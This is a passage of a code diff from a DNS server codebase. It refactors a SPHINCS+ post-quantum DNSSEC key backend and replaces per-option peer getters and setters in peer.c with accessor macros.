 opensslsphincssha256128s_generate(dst_key_t *key, int unused, void (*callback)(int)) {
 	isc_result_t ret;
 	EVP_PKEY *pkey = NULL;
-	EVP_PKEY_CTX *pkctx = NULL;
-	REQUIRE(key->key_alg == DST_ALG_SPHINCSSHA256128S);
+	EVP_PKEY_CTX *ctx = NULL;
+	int status;
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(key->key_alg);
+	
 	UNUSED(unused);
 	UNUSED(callback);
-	key->key_size = DNS_KEY_SPHINCSSHA256128SSIZE;
-
-	if ((pkctx = EVP_PKEY_CTX_new_id(EVP_PKEY_SPHINCSSHA256128SROBUST, NULL)) == NULL) {
+	
+	REQUIRE(alginfo != NULL);
+	
+	ctx = EVP_PKEY_CTX_new_id(alginfo->pkey_type, NULL);
+	if (ctx == NULL) {
 		return (dst__openssl_toresult2("EVP_PKEY_CTX_new_id",
 							DST_R_OPENSSLFAILURE));
 	}
-	if (EVP_PKEY_keygen_init(pkctx) != 1) {
-		return (dst__openssl_toresult2("EVP_PKEY_keygen_init",
-							DST_R_OPENSSLFAILURE));
+	
+	status = EVP_PKEY_keygen_init(ctx);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_keygen_init",
+						DST_R_OPENSSLFAILURE));
 	}
-	if (EVP_PKEY_keygen(pkctx, &pkey) != 1) {
-		return (dst__openssl_toresult2("EVP_PKEY_keygen",
-							DST_R_OPENSSLFAILURE));
+	
+	status = EVP_PKEY_keygen(ctx, &pkey);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_keygen",
+						DST_R_OPENSSLFAILURE));
 	}
-	key->keydata.pkey = pkey;
-	ret = ISC_R_SUCCESS;
-	EVP_PKEY_CTX_free(pkctx);
-	return (ret);
-}
 
-static bool
-opensslsphincssha256128s_isprivate(const dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
-	return isprivate(pkey);
-}
+	key->key_size = alginfo->key_size * 8;
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
+	ret = ISC_R_SUCCESS;
 
-static void
-opensslsphincssha256128s_destroy(dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
-	EVP_PKEY_free(pkey);
-	key->keydata.pkey = NULL;
+err:
+	EVP_PKEY_CTX_free(ctx);
+	return (ret);
 }
 
 static isc_result_t
 opensslsphincssha256128s_todns(const dst_key_t *key, isc_buffer_t *data) {
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
 	isc_region_t r;
 	size_t len;
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(key->key_alg);
 
 	REQUIRE(pkey != NULL);
-	REQUIRE(key->key_alg == DST_ALG_SPHINCSSHA256128S);
-	len = DNS_KEY_SPHINCSSHA256128SSIZE;
+	REQUIRE(alginfo != NULL);
 
+	len = alginfo->key_size;
 	isc_buffer_availableregion(data, &r);
 	if (r.length < len) {
 		return (ISC_R_NOSPACE);
@@ -311,11 +308,14 @@ opensslsphincssha256128s_todns(const dst_key_t *key, isc_buffer_t *data) {
 
 static isc_result_t
 opensslsphincssha256128s_fromdns(dst_key_t *key, isc_buffer_t *data) {
+	isc_result_t ret;
 	isc_region_t r;
 	size_t len;
-	EVP_PKEY *pkey;
+	EVP_PKEY *pkey = NULL;
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_SPHINCSSHA256128S);
+	REQUIRE(alginfo != NULL);
 
 	isc_buffer_remainingregion(data, &r);
 	if (r.length == 0) {
@@ -323,18 +323,14 @@ opensslsphincssha256128s_fromdns(dst_key_t *key, isc_buffer_t *data) {
 	}
 
 	len = r.length;
-	if (len < DNS_KEY_SPHINCSSHA256128SSIZE) {
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-
-	pkey = EVP_PKEY_new_raw_public_key(EVP_PKEY_SPHINCSSHA256128SROBUST, NULL, r.base, len);
-	if (pkey == NULL) {
-		return (dst__openssl_toresult(DST_R_INVALIDPUBLICKEY));
+	ret = raw_key_to_ossl(alginfo, 0, r.base, &len, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		return ret;
 	}
 
 	isc_buffer_forward(data, len);
-	key->keydata.pkey = pkey;
-	key->key_size = len;
+	key->keydata.pkeypair.pub = pkey;
+	key->key_size = len * 8;
 	return (ISC_R_SUCCESS);
 
 }
@@ -363,12 +359,17 @@ opensslsphincssha256128s_tofile(const dst_key_t *key, const char *directory) {
 	dst_private_t priv;
 	unsigned char *pubbuf = NULL;
 	unsigned char *privbuf = NULL;
-	size_t publen = SPHINCSSHA256128S_PUBLICKEY_SIZE;
-	size_t privlen = SPHINCSSHA256128S_PRIVATEKEY_SIZE;
+	size_t publen;
+	size_t privlen;
 	int i;
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_SPHINCSSHA256128S);
-	if (key->keydata.pkey == NULL) {
+	REQUIRE(alginfo != NULL);
+
+	publen = alginfo->key_size;
+	privlen = alginfo->priv_key_size;
+	if (key->keydata.pkeypair.pub == NULL || key->keydata.pkeypair.priv == NULL) {
 		return (DST_R_NULLKEY);
 	}
 
@@ -379,21 +380,19 @@ opensslsphincssha256128s_tofile(const dst_key_t *key, const char *directory) {
 
 	i = 0;
 
-	if (opensslsphincssha256128s_isprivate(key)) {
+	if (dst__openssl_keypair_isprivate(key)) {
 		privbuf = isc_mem_get(key->mctx, privlen);
-		if (EVP_PKEY_get_raw_private_key(key->keydata.pkey, privbuf,
-						 &privlen) != 1) {
+		if (EVP_PKEY_get_raw_private_key(key->keydata.pkeypair.priv, privbuf,
+						 &privlen) != 1)
 			DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
-		}
 		priv.elements[i].tag = TAG_SPHINCSSHA256128S_PRIVATEKEY;
 		priv.elements[i].length = privlen;
 		priv.elements[i].data = privbuf;
 		i++;
 		pubbuf = isc_mem_get(key->mctx, publen);
-		if (EVP_PKEY_get_raw_public_key(key->keydata.pkey, pubbuf,
-						 &publen) != 1) {
+		if (EVP_PKEY_get_raw_public_key(key->keydata.pkeypair.pub, pubbuf,
+						 &publen) != 1)
 			DST_RET(dst__openssl_toresult(ISC_R_FAILURE));
-		}
 		priv.elements[i].tag = TAG_SPHINCSSHA256128S_PUBLICKEY;
 		priv.elements[i].length = publen;
 		priv.elements[i].data = pubbuf;
@@ -401,6 +400,7 @@ opensslsphincssha256128s_tofile(const dst_key_t *key, const char *directory) {
 	}
 	priv.nelements = i;
 	ret = dst__privstruct_writefile(key, &priv, directory);
+
 err:
 	if (privbuf != NULL) {
 		isc_mem_put(key->mctx, privbuf, privlen);
@@ -421,10 +421,14 @@ opensslsphincssha256128s_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub)
 	EVP_PKEY *pkey = NULL, *pubpkey = NULL;
 	size_t len;
 	isc_mem_t *mctx = key->mctx;
+	const sphincssha256128s_alginfo_t *alginfo =
+		opensslsphincssha256128s_alg_info(key->key_alg);
+
 	UNUSED(engine);
 	UNUSED(label);
 	UNUSED(pubpkey);
-	REQUIRE(key->key_alg == DST_ALG_SPHINCSSHA256128S);
+
+	REQUIRE(alginfo != NULL);
 
 	/* read private key file */
 	ret = dst__privstruct_parse(key, DST_ALG_SPHINCSSHA256128S, lexer, mctx, &priv);
@@ -439,20 +443,13 @@ opensslsphincssha256128s_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub)
 		if (pub == NULL) {
 			DST_RET(DST_R_INVALIDPRIVATEKEY);
 		}
-		key->keydata.pkey = pub->keydata.pkey;
-		pub->keydata.pkey = NULL;
-		dst__privstruct_free(&priv, mctx);
-		isc_safe_memwipe(&priv, sizeof(priv));
-		return (ISC_R_SUCCESS);
+		key->keydata.pkeypair.priv = pub->keydata.pkeypair.priv;
+		key->keydata.pkeypair.pub = pub->keydata.pkeypair.pub;
+		pub->keydata.pkeypair.priv = NULL;
+		pub->keydata.pkeypair.pub = NULL;
+		DST_RET(ISC_R_SUCCESS);
 	}
 
-	if (pub != NULL) {
-		// This is set so that sanity checks can be made,
-		// but currently don't have those checks implemented
-		pubpkey = pub->keydata.pkey;
-	}
-	// Currently do not support HSMs, but leaving the parsing code
-	// in for future use.
 	for (i = 0; i < priv.nelements; i++) {
 		switch (priv.elements[i].tag) {
 		case TAG_SPHINCSSHA256128S_ENGINE:
@@ -479,23 +476,22 @@ opensslsphincssha256128s_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub)
 	}
 
 	len = priv.elements[privkey_index].length;
-
-	if (len < SPHINCSSHA256128S_PUBLICKEY_SIZE) {
-		return (DST_R_INVALIDPRIVATEKEY);
-	}
-	pkey = EVP_PKEY_new_raw_private_key(EVP_PKEY_SPHINCSSHA256128SROBUST, NULL, priv.elements[privkey_index].data, len);
+	REQUIRE(len == alginfo->priv_key_size);
+	pkey = EVP_PKEY_new_raw_private_key(alginfo->pkey_type, NULL, priv.elements[privkey_index].data, len);
 	if (pkey == NULL) {
 		return (dst__openssl_toresult(ret));
 	}
 
 	len = priv.elements[pubkey_index].length;
+	REQUIRE(len == alginfo->key_size);
 	OQS_KEY *oqs_key = EVP_PKEY_get0(pkey);
 	oqs_key->pubkey = OPENSSL_secure_malloc(len);
 	if (oqs_key->pubkey == NULL) {
 		return (dst__openssl_toresult(ISC_R_NOSPACE));
 	}
 	memcpy(oqs_key->pubkey, priv.elements[pubkey_index].data, len);
-	key->keydata.pkey = pkey;
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
 	key->key_size = priv.elements[pubkey_index].length;
 	ret = ISC_R_SUCCESS;
 
@@ -507,26 +503,26 @@ opensslsphincssha256128s_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub)
 
 static dst_func_t opensslsphincssha256128s_functions = {
 	opensslsphincssha256128s_createctx,
-	NULL, /*%< createctx2 */
+	NULL,					/*%< createctx2 */
 	opensslsphincssha256128s_destroyctx,
 	opensslsphincssha256128s_adddata,
 	opensslsphincssha256128s_sign,
 	opensslsphincssha256128s_verify,
-	NULL, /*%< verify2 */
-	NULL, /*%< computesecret */
-	opensslsphincssha256128s_compare,
-	NULL, /*%< paramcompare */
+	NULL,					/*%< verify2 */
+	NULL,					/*%< computesecret */
+	dst__openssl_keypair_compare,
+	NULL,					/*%< paramcompare */
 	opensslsphincssha256128s_generate,
-	opensslsphincssha256128s_isprivate,
-	opensslsphincssha256128s_destroy, 
-	opensslsphincssha256128s_todns,   // called by dst_key_todns converts a dst_key to a buffer
-	opensslsphincssha256128s_fromdns, // called by from buffer and constructs a key from dns
-	opensslsphincssha256128s_tofile,  // All this does is write the private key, writing public keys are handled elsewhere
+	dst__openssl_keypair_isprivate,
+	dst__openssl_keypair_destroy, 
+	opensslsphincssha256128s_todns,
+	opensslsphincssha256128s_fromdns,
+	opensslsphincssha256128s_tofile,
 	opensslsphincssha256128s_parse,
-	NULL,			    /*%< cleanup */
-	NULL, 			    /*%< fromlabel */
-	NULL,			    /*%< dump */
-	NULL,			    /*%< restore */
+	NULL,					/*%< cleanup */
+	NULL,					/*%< fromlabel */
+	NULL,					/*%< dump */
+	NULL,					/*%< restore */
 };
 
 isc_result_t
diff --git a/lib/dns/order.c b/lib/dns/order.c
index 972c21f3e6..477576c9e7 100644
--- a/lib/dns/order.c
+++ b/lib/dns/order.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -88,7 +90,7 @@ dns_order_add(dns_order_t *order, const dns_name_t *name,
 	return (ISC_R_SUCCESS);
 }
 
-static inline bool
+static bool
 match(const dns_name_t *name1, const dns_name_t *name2) {
 	if (dns_name_iswildcard(name2)) {
 		return (dns_name_matcheswildcard(name1, name2));
@@ -109,7 +111,8 @@ dns_order_find(dns_order_t *order, const dns_name_t *name,
 			continue;
 		}
 		if (ent->rdclass != rdclass &&
-		    ent->rdclass != dns_rdataclass_any) {
+		    ent->rdclass != dns_rdataclass_any)
+		{
 			continue;
 		}
 		if (match(name, dns_fixedname_name(&ent->name))) {
diff --git a/lib/dns/peer.c b/lib/dns/peer.c
index 641574f827..c2f1d14dfa 100644
--- a/lib/dns/peer.c
+++ b/lib/dns/peer.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -54,17 +56,15 @@ struct dns_peer {
 	bool support_edns;
 	bool request_nsid;
 	bool send_cookie;
+	bool require_cookie;
 	bool request_expire;
 	bool force_tcp;
 	bool tcp_keepalive;
 	bool check_axfr_id;
 	dns_name_t *key;
 	isc_sockaddr_t *transfer_source;
-	isc_dscp_t transfer_dscp;
 	isc_sockaddr_t *notify_source;
-	isc_dscp_t notify_dscp;
 	isc_sockaddr_t *query_source;
-	isc_dscp_t query_dscp;
 	uint16_t udpsize;    /* receive size */
 	uint16_t maxudp;     /* transmit size */
 	uint16_t padding;    /* pad block size */
@@ -88,14 +88,12 @@ struct dns_peer {
 #define SERVER_MAXUDP_BIT	   7
 #define REQUEST_NSID_BIT	   8
 #define SEND_COOKIE_BIT		   9
-#define NOTIFY_DSCP_BIT		   10
-#define TRANSFER_DSCP_BIT	   11
-#define QUERY_DSCP_BIT		   12
-#define REQUEST_EXPIRE_BIT	   13
-#define EDNS_VERSION_BIT	   14
-#define FORCE_TCP_BIT		   15
-#define SERVER_PADDING_BIT	   16
-#define REQUEST_TCP_KEEPALIVE_BIT  17
+#define REQUEST_EXPIRE_BIT	   10
+#define EDNS_VERSION_BIT	   11
+#define FORCE_TCP_BIT		   12
+#define SERVER_PADDING_BIT	   13
+#define REQUEST_TCP_KEEPALIVE_BIT  14
+#define REQUIRE_COOKIE_BIT	   15
 
 static void
 peerlist_delete(dns_peerlist_t **list);
@@ -183,7 +181,8 @@ dns_peerlist_addpeer(dns_peerlist_t *peers, dns_peer_t *peer) {
 	 * More specifics to front of list.
 	 */
 	for (p = ISC_LIST_HEAD(peers->elements); p != NULL;
-	     p = ISC_LIST_NEXT(p, next)) {
+	     p = ISC_LIST_NEXT(p, next))
+	{
 		if (p->prefixlen < peer->prefixlen) {
 			break;
 		}
@@ -208,7 +207,8 @@ dns_peerlist_peerbyaddr(dns_peerlist_t *servers, const isc_netaddr_t *addr,
 	server = ISC_LIST_HEAD(servers->elements);
 	while (server != NULL) {
 		if (isc_netaddr_eqprefix(addr, &server->address,
-					 server->prefixlen)) {
+					 server->prefixlen))
+		{
 			break;
 		}
 
@@ -249,8 +249,7 @@ dns_peer_new(isc_mem_t *mem, const isc_netaddr_t *addr, dns_peer_t **peerptr) {
 		prefixlen = 128;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	return (dns_peer_newprefix(mem, addr, prefixlen, peerptr));
@@ -347,302 +346,117 @@ peer_delete(dns_peer_t **peer) {
 	isc_mem_put(mem, p, sizeof(*p));
 }
 
-isc_result_t
-dns_peer_setbogus(dns_peer_t *peer, bool newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(BOGUS_BIT, &peer->bitflags);
-
-	peer->bogus = newval;
-	DNS_BIT_SET(BOGUS_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getbogus(dns_peer_t *peer, bool *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(BOGUS_BIT, &peer->bitflags)) {
-		*retval = peer->bogus;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setprovideixfr(dns_peer_t *peer, bool newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(PROVIDE_IXFR_BIT, &peer->bitflags);
-
-	peer->provide_ixfr = newval;
-	DNS_BIT_SET(PROVIDE_IXFR_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getprovideixfr(dns_peer_t *peer, bool *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(PROVIDE_IXFR_BIT, &peer->bitflags)) {
-		*retval = peer->provide_ixfr;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setrequestixfr(dns_peer_t *peer, bool newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(REQUEST_IXFR_BIT, &peer->bitflags);
-
-	peer->request_ixfr = newval;
-	DNS_BIT_SET(REQUEST_IXFR_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getrequestixfr(dns_peer_t *peer, bool *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(REQUEST_IXFR_BIT, &peer->bitflags)) {
-		*retval = peer->request_ixfr;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setsupportedns(dns_peer_t *peer, bool newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(SUPPORT_EDNS_BIT, &peer->bitflags);
-
-	peer->support_edns = newval;
-	DNS_BIT_SET(SUPPORT_EDNS_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getsupportedns(dns_peer_t *peer, bool *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(SUPPORT_EDNS_BIT, &peer->bitflags)) {
-		*retval = peer->support_edns;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setrequestnsid(dns_peer_t *peer, bool newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(REQUEST_NSID_BIT, &peer->bitflags);
-
-	peer->request_nsid = newval;
-	DNS_BIT_SET(REQUEST_NSID_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getrequestnsid(dns_peer_t *peer, bool *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(REQUEST_NSID_BIT, &peer->bitflags)) {
-		*retval = peer->request_nsid;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setsendcookie(dns_peer_t *peer, bool newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(SEND_COOKIE_BIT, &peer->bitflags);
-
-	peer->send_cookie = newval;
-	DNS_BIT_SET(SEND_COOKIE_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getsendcookie(dns_peer_t *peer, bool *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(SEND_COOKIE_BIT, &peer->bitflags)) {
-		*retval = peer->send_cookie;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setrequestexpire(dns_peer_t *peer, bool newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(REQUEST_EXPIRE_BIT, &peer->bitflags);
-
-	peer->request_expire = newval;
-	DNS_BIT_SET(REQUEST_EXPIRE_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getrequestexpire(dns_peer_t *peer, bool *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(REQUEST_EXPIRE_BIT, &peer->bitflags)) {
-		*retval = peer->request_expire;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_setforcetcp(dns_peer_t *peer, bool newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(FORCE_TCP_BIT, &peer->bitflags);
-
-	peer->force_tcp = newval;
-	DNS_BIT_SET(FORCE_TCP_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_getforcetcp(dns_peer_t *peer, bool *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(FORCE_TCP_BIT, &peer->bitflags)) {
-		*retval = peer->force_tcp;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_settcpkeepalive(dns_peer_t *peer, bool newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(REQUEST_TCP_KEEPALIVE_BIT, &peer->bitflags);
-
-	peer->tcp_keepalive = newval;
-	DNS_BIT_SET(REQUEST_TCP_KEEPALIVE_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_gettcpkeepalive(dns_peer_t *peer, bool *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(REQUEST_TCP_KEEPALIVE_BIT, &peer->bitflags)) {
-		*retval = peer->tcp_keepalive;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_settransfers(dns_peer_t *peer, uint32_t newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(TRANSFERS_BIT, &peer->bitflags);
-
-	peer->transfers = newval;
-	DNS_BIT_SET(TRANSFERS_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_gettransfers(dns_peer_t *peer, uint32_t *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(TRANSFERS_BIT, &peer->bitflags)) {
-		*retval = peer->transfers;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
-
-isc_result_t
-dns_peer_settransferformat(dns_peer_t *peer, dns_transfer_format_t newval) {
-	bool existed;
-
-	REQUIRE(DNS_PEER_VALID(peer));
-
-	existed = DNS_BIT_CHECK(SERVER_TRANSFER_FORMAT_BIT, &peer->bitflags);
-
-	peer->transfer_format = newval;
-	DNS_BIT_SET(SERVER_TRANSFER_FORMAT_BIT, &peer->bitflags);
-
-	return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_peer_gettransferformat(dns_peer_t *peer, dns_transfer_format_t *retval) {
-	REQUIRE(DNS_PEER_VALID(peer));
-	REQUIRE(retval != NULL);
-
-	if (DNS_BIT_CHECK(SERVER_TRANSFER_FORMAT_BIT, &peer->bitflags)) {
-		*retval = peer->transfer_format;
-		return (ISC_R_SUCCESS);
-	} else {
-		return (ISC_R_NOTFOUND);
-	}
-}
+#define ACCESS_OPTION(name, macro, type, element)                        \
+	isc_result_t dns_peer_get##name(dns_peer_t *peer, type *value) { \
+		REQUIRE(DNS_PEER_VALID(peer));                           \
+		REQUIRE(value != NULL);                                  \
+		if (DNS_BIT_CHECK(macro, &peer->bitflags)) {             \
+			*value = peer->element;                          \
+			return (ISC_R_SUCCESS);                          \
+		} else {                                                 \
+			return (ISC_R_NOTFOUND);                         \
+		}                                                        \
+	}                                                                \
+	isc_result_t dns_peer_set##name(dns_peer_t *peer, type value) {  \
+		bool existed;                                            \
+		REQUIRE(DNS_PEER_VALID(peer));                           \
+		existed = DNS_BIT_CHECK(macro, &peer->bitflags);         \
+		peer->element = value;                                   \
+		DNS_BIT_SET(macro, &peer->bitflags);                     \
+		return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);         \
+	}
+
+ACCESS_OPTION(bogus, BOGUS_BIT, bool, bogus)
+ACCESS_OPTION(forcetcp, FORCE_TCP_BIT, bool, force_tcp)
+ACCESS_OPTION(maxudp, SERVER_MAXUDP_BIT, uint16_t, maxudp)
+ACCESS_OPTION(provideixfr, PROVIDE_IXFR_BIT, bool, provide_ixfr)
+ACCESS_OPTION(requestexpire, REQUEST_EXPIRE_BIT, bool, request_expire)
+ACCESS_OPTION(requestixfr, REQUEST_IXFR_BIT, bool, request_ixfr)
+ACCESS_OPTION(requestnsid, REQUEST_NSID_BIT, bool, request_nsid)
+ACCESS_OPTION(requirecookie, REQUIRE_COOKIE_BIT, bool, require_cookie)
+ACCESS_OPTION(sendcookie, SEND_COOKIE_BIT, bool, send_cookie)
+ACCESS_OPTION(supportedns, SUPPORT_EDNS_BIT, bool, support_edns)
+ACCESS_OPTION(tcpkeepalive, REQUEST_TCP_KEEPALIVE_BIT, bool, tcp_keepalive)
+ACCESS_OPTION(transferformat, SERVER_TRANSFER_FORMAT_BIT, dns_transfer_format_t,
+	      transfer_format)
+ACCESS_OPTION(transfers, TRANSFERS_BIT, uint32_t, transfers)
+ACCESS_OPTION(udpsize, SERVER_UDPSIZE_BIT, uint16_t, udpsize)
+
+#define ACCESS_OPTIONMAX(name, macro, type, element, max)                \
+	isc_result_t dns_peer_get##name(dns_peer_t *peer, type *value) { \
+		REQUIRE(DNS_PEER_VALID(peer));                           \
+		REQUIRE(value != NULL);                                  \
+		if (DNS_BIT_CHECK(macro, &peer->bitflags)) {             \
+			*value = peer->element;                          \
+			return (ISC_R_SUCCESS);                          \
+		} else {                                                 \
+			return (ISC_R_NOTFOUND);                         \
+		}                                                        \
+	}                                                                \
+	isc_result_t dns_peer_set##name(dns_peer_t *peer, type value) {  \
+		bool existed;                                            \
+		REQUIRE(DNS_PEER_VALID(peer));                           \
+		existed = DNS_BIT_CHECK(macro, &peer->bitflags);         \
+		if (value > max) {                                       \
+			value = max;                                     \
+		}                                                        \
+		peer->element = value;                                   \
+		DNS_BIT_SET(macro, &peer->bitflags);                     \
+		return (existed ? ISC_R_EXISTS : ISC_R_SUCCESS);         \
+	}
+
+ACCESS_OPTIONMAX(padding, SERVER_PADDING_BIT, uint16_t, padding, 512)
+
+#define ACCESS_SOCKADDR(name, element)                                       \
+	isc_result_t dns_peer_get##name(dns_peer_t *peer,                    \
+					isc_sockaddr_t *value) {             \
+		REQUIRE(DNS_PEER_VALID(peer));                               \
+		REQUIRE(value != NULL);                                      \
+		if (peer->element == NULL) {                                 \
+			return (ISC_R_NOTFOUND);                             \
+		}                                                            \
+		*value = *peer->element;                                     \
+		return (ISC_R_SUCCESS);                                      \
+	}                                                                    \
+	isc_result_t dns_peer_set##name(dns_peer_t *peer,                    \
+					const isc_sockaddr_t *value) {       \
+		REQUIRE(DNS_PEER_VALID(peer));                               \
+		if (peer->element != NULL) {                                 \
+			isc_mem_put(peer->mem, peer->element,                \
+				    sizeof(*peer->element));                 \
+			peer->element = NULL;                                \
+		}                                                            \
+		if (value != NULL) {                                         \
+			peer->element = isc_mem_get(peer->mem,               \
+						    sizeof(*peer->element)); \
+			*peer->element = *value;                             \
+		}                                                            \
+		return (ISC_R_SUCCESS);                                      \
+	}
+
+ACCESS_SOCKADDR(notifysource, notify_source)
+ACCESS_SOCKADDR(querysource, query_source)
+ACCESS_SOCKADDR(transfersource, transfer_source)
+
+#define ACCESS_OPTION_OVERWRITE(name, macro, type, element)              \
+	isc_result_t dns_peer_get##name(dns_peer_t *peer, type *value) { \
+		REQUIRE(DNS_PEER_VALID(peer));                           \
+		REQUIRE(value != NULL);                                  \
+		if (DNS_BIT_CHECK(macro, &peer->bitflags)) {             \
+			*value = peer->element;                          \
+			return (ISC_R_SUCCESS);                          \
+		} else {                                                 \
+			return (ISC_R_NOTFOUND);                         \
+		}                                                        \
+	}                                                                \
+	isc_result_t dns_peer_set##name(dns_peer_t *peer, type value) {  \
+		REQUIRE(DNS_PEER_VALID(peer));                           \
+		peer->element = value;                                   \
+		DNS_BIT_SET(macro, &peer->bitflags);                     \
+		return (ISC_R_SUCCESS);                                  \
+	}
+
